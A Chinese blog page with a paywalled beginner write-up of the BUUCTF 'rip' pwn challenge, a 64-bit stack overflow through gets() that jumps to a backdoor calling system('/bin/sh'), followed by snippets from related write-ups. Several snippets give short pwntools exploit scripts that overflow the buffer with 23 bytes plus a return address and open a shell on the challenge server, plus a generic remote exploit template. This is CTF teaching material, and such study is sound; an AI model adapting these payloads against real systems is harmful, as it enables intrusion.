BUUCTF-rip 尝试PWN入门

最新推荐文章于 2025-10-14 19:46:06 发布
原创 最新推荐文章于 2025-10-14 19:46:06 发布 · 1.7k 阅读 · 4 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#安全

本文介绍了BUUCTF-rip挑战中的PWN入门，涉及系统级函数system的利用，通过溢出修改返回地址实现命令执行。讨论了64位系统下堆栈平衡与返回地址劫持，讲解了相关函数如send、recv的工作原理，并提到了安全防护机制如Canary、FORTIFY、NX、PIE和RELRO。

BUUCTF-rip

在这里插入图片描述
拿到的是一个什么呢，感觉是一个小系统？
在这里插入图片描述
但是也就是一个小程序嘛。
这个程序就是执行一个输入输出 的命令。但是这里面存在漏洞。
在这里插入图片描述
在这里插入图片描述这个s是15byte的字符
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在fun部分有一个/bin/sh
这个据说是一个系统级函数，为什么说是系统级函数呢，因为有一个system吧。

一般会是什么用都没有。
但是在使用这样的一个payload后,就可以利用，也不知道这个pwn 库是做了什么。感觉像是

最低0.47元/天 解锁文章
BUUCTF_PWN - rip
weixin_46009088的博客
12-06 860
BUUCTF_PWN - rip 查看程序保护模式和文件基本信息： 没有什么保护，各条保护详情介绍请看胡写瞎写(1) pwntools常见命令，另外文件是64位小端程序 IDA载入 找到main函数F5： 发现一个 gets ( ) 函数，一个可以利用的漏洞点，gets ( ) 函数介绍： get( )函数简单易用，它读取从输入流中读取一行，赋给字符串变量s，直到遇到换行符，然后丢弃换行符，存储其余的字符，并在结尾添加一个空字符使其成为一个 C 字符串，但是它无法检查数组是否装的下，因此它只知道开始处，.
rip-BUUCTF（栈溢出）
yuqie的博客
06-14 845
使用ida反汇编程序，发现是一个栈溢出类型，从函数中可以看出给了一个s数组，但没有对输入的长度作限制，因为是一个典型的栈溢出漏洞。然后从main函数之下的fun函数里可以看见一个后门。顺便记录一下后门地址为0x0000000000401186.先使用命令checksec 查看程序保护情况。 发现并没有canary保护。使用gdb结合pwndbg调试进程，计算我们覆盖到返回地址所需字节。使用快捷命令b在main函数处下断点，并使用r（run）运行。 使用命令 n 按行运行，找到输入点，并随便输入几个字
BUUCTF----rip解题过程
最新发布
2501_90908131的博客
10-14 388
这是一道关于栈溢出漏洞利用的CTF题目。分析发现64位ELF程序无任何保护机制(CANARY/NX/PIE未开启)，通过gets函数的栈溢出漏洞实现攻击。程序存在后门函数(地址40011a)，采用ret2text技术覆盖返回地址控制执行流。计算得到偏移量为0xf+8，构造payload跳转到后门函数即可获取shell。成功执行后通过cat flag命令获取flag。文章还简要介绍了常见保护机制(NX/DEP、ASLR、Canary等)及其绕过方法，以及ret指令、shell等关键概念。这种栈溢出利用是Pwn
BUUCTF 【Pwn】rip 解题步骤
2301_81505831的博客
01-25 1223
查看之后发现是64位的ELF文件，直接放入IDA64进行反编译。
初学pwn-BUUCTF(rip)
天柱的博客
08-30 2938
初学pwn-writeUp BUUCTF平台的一道题目，rip。 与之前同样的步骤，启动靶机，链接远端 发现这里提示输入一些内容，但是输入完成之后，这里就结束了。还是要打开文件查看一下。 看到这里，只有一个输入的过程可以操作，那就很清楚了，就是要栈溢出了。点进去看一下。 可以看到这里s这个数组是15个字节，到r这个返回值还需要8个字节。不过这里要注意的一点是，这个15是十进制的，不能像之前再在数字之前加0x标记十六进制，这里可以直接写十进制。 摁shift+f12，可以看到这时还有什么地址可能会用到，
buuctf-rip
Nike_name的博客
06-13 850
利用get危险函数和system/bin/sh 的栈溢出
(buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016
J1ayの博客
09-10 1775
⭐ 【buuctf】pwn入门 pwn学习之路引入 栈溢出引入 ⭐test_your_nc 【题目链接】 注意到 Ubuntu 18， Linux系统 。 nc 靶场 nc node3.buuoj.cn 25677 【注】 nc命令详解 -c shell命令为“-e”；使用/bin/sh来执行 [危险] -e 文件名程序在连接后执行 [危险] -b 允许广播 -g 网关源路由跃点，最多8个 -G num源路由指针：4，8，12。。。 -i secs 发送的线
BUUCTF刷题之路-rip1
qq_30528603的博客
05-25 3988
因为A存入内存是以ASCLL码形式存在 0x41就是A，我们填入的15个A已经在栈上了，而且返回地址就是401100，我们要做的就是覆盖这个返回地址，指向我们的后门函数fun，至此这题就完成了。让我们能得到一个shell.那我们就找一下这个fun函数的地址，因为题目没有开启PIE，所以程序每次加载的地址都是不变的。可以看到保护基本没开，是个很简单的栈溢出题目。左边这都是函数，带下划线的一般是系统提供的函数，我们分析前可以大致看看有哪些函数，都干了什么，对整体布局有个了解，我们一开始都回去分析main函数。
buuctf pwn入门1
weixin_63231007的博客
07-07 2027
buuctf pwn 前几道简单栈溢出&格式化字符串漏洞
BUUCTF pwn前三道
2301_80470992的博客
12-21 1162
gets_s（buffer,size）函数：从标准输入中读取数据，size表示的最多读取的数量，在这里是argv，没有定义是多大，所以我们就可以无限的输入。但是可以发现buffer就只有0xF字节的大小，输入超过0xF个字节以后，你就会溢出，你会覆盖返回地址。代码分析：俩个write函数输出，然后sprintf函数利用%p将sub_40060函数地址（其实就是system函数）打印出来放到s里面，然后由write函数打印出来，由于是64位所以write那是9，存在溢出条件，接下来就是要找后门函数地址了。
PWN入门刷题——BUUCTF（1-4）
ChenD的学习笔记
09-23 907
最近为了学校组织的ctf比赛才开始接触pwn的刚刚做了十多道题现在来记录一下，记录完了接着学后面贼难的内容！
BUUCTF(Pwn) rip
半岛铁盒的博客
03-20 644
按tab键,看一下 fun函数 发现其地址是 0x401186; 但是写EXP不能直接用这个地址,需要使用0x40118A这个地址,system函数是在0x40118A压参数然后执行 from pwn import * p = remote('node3.buuoj.cn', '25677') payload = 'a' * (0xf + 8) + p64(0x40118A) p.sendline(payload) p.interactive() ...
[BUUCTF-PWN] rip
m0_46098032的博客
01-02 315
下载文件，checksec查看一下文件，64位文件，没有开启任何保护。 用IDA64位打开文件，反编译main函数，看到了gets函数，gets函数存在栈溢出漏洞。 双击s，可以看到现只需存入15个字节即可劫持函数返回地址。 我们同时可以看到存在一个fun函数。就是一个系统调用。 查看一下fun函数的地址，为0x401186 exp如下： from pwn import * p = remote('node4.buuoj.cn', :9228) payload = b.
【BUUCTF】rip
^_^
12-08 3504
这题和蒸米ROP的level3有点像。 检查安全机制。 用ida反汇编，可以看到是gets函数有个简单的栈溢出，偏移也很好计算，F+8=23 此外还发现一个fun函数可以直接跳转到这里来获取shell。 正常exp如下： from pwn import * p = process("./pwn1") #p = remote("node3.buuoj.cn",29399) payload = "a" * 23 +p64(0x401186) p.sendline(payload) p.interact
[BUUCTF-pwn]——rip
Y_peak的博客
01-30 1420
BUUCTF——rip 题目地址：https://buuoj.cn/challenges 题目： 同样我们现将文件下载下来，在Linux上用checksec 看下信息，发现这是一个64位程序，并且任何保护都没开。???? (任何保护都没开，基本就是栈溢出) 在window用IDA反汇编看看，打扰了main函数没有任何有用的东西，没有我们要找的system函数 看看其他函数看看有没有，功夫不负有心人。fun函数中，有我们想要的东西 赶快查看下fun函数所在的位置 0x401186 。我们看到是在0x
[BUUCTF]PWN------rip
BangSen1的博客
01-13 415
rip 例行检查，无保护 运行一下，输出了我们输入的东西， 用64位IDA打开，看到了/bin/sh
【BUUCTF - PWN】rip
古月浪子的博客
03-19 1785
checksec一下，发现啥保护也没开 IDA打开看看，明显的栈溢出漏洞，IDA给出了s的长度为0xf 发现后门函数 脚本中使用地址0x401186发现不行（不知道为什么），换成0x401187发现可以 from pwn import * from LibcSearcher import * context.os='linux' context.arch='amd64' context.l...
BUUCTF pwn——rip
CNS-Enterprise BCC-1701-J
03-10 451
BUUCTF 做题练习
BUUCTF-Pwn-rip
餐桌上的猫
11-14 2999
题目截图 使用IDA打开附件，反汇编为C语言找到两个函数 可以看到主函数中定义了一个字符类型的变量s（这里IDA出了点问题，实际上应该是char s[15]），并使用gets()对其进行赋值，那么这里便存在栈溢出的漏洞，我们只需要想办法执行函数fun()就可以获得shell，进而获得flag，从IDA中可以看出定义s的大小为15个字节 所以到达到溢出的目标位置就需要填充15+8=23个字节，另外从IDA中可以看出fun()的起始地址为0x401186 所以我们可以构造payload=‘a’*23+
buuctf-pwn入门
01-26
### BUUCTF PWN 类题目入门教程 #### 学习资源推荐 对于希望进入PWN挑战领域的新手来说，选择合适的教材和平台至关重要。王爽老师的《汇编语言》提供了基础理论支持，有助于理解底层操作原理[^1]。此外，《IDA Pro权威指南》能够帮助掌握逆向工程工具的使用技巧，这对解决PWN问题非常有帮助[^1]。 #### 实践平台建议 为了更好地练习技能并应用所学知识，在线实践环境不可或缺。BuuOJ是一个专门为CTF爱好者设计的学习与交流社区，其中包含了大量针对不同难度级别的PWN题目供玩家尝试解答[^2]。通过不断做题积累经验，可以逐步提高自己的技术水平。 #### 解决方案流程概述 当面对具体的PWN题目时，通常遵循以下几个步骤来构建解决方案： - **检测保护机制**：利用`checksec`命令查看目标程序启用了哪些安全防护措施； - **静态分析**：借助IDA Pro等反汇编器对二进制文件进行深入剖析，找出潜在漏洞点； - **编写Exploit脚本**：基于发现的安全缺陷精心构造攻击载荷； - **测试验证**：最后一步是在本地环境中反复调试直至成功获取Flag。 ```bash # 使用 checksec 工具检查可执行文件的安全特性 $ checksec ./vuln_program ``` ```python from pwn import * # 连接到远程服务器上的服务端口 conn = remote('example.com', 9999) # 发送恶意输入数据给存在缓冲区溢出漏洞的服务进程 payload = b'A' * offset + pack(address) conn.sendline(payload) # 接收返回的数据包以确认是否获得shell访问权限 response = conn.recv() print(response.decode()) ```
评论 3
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值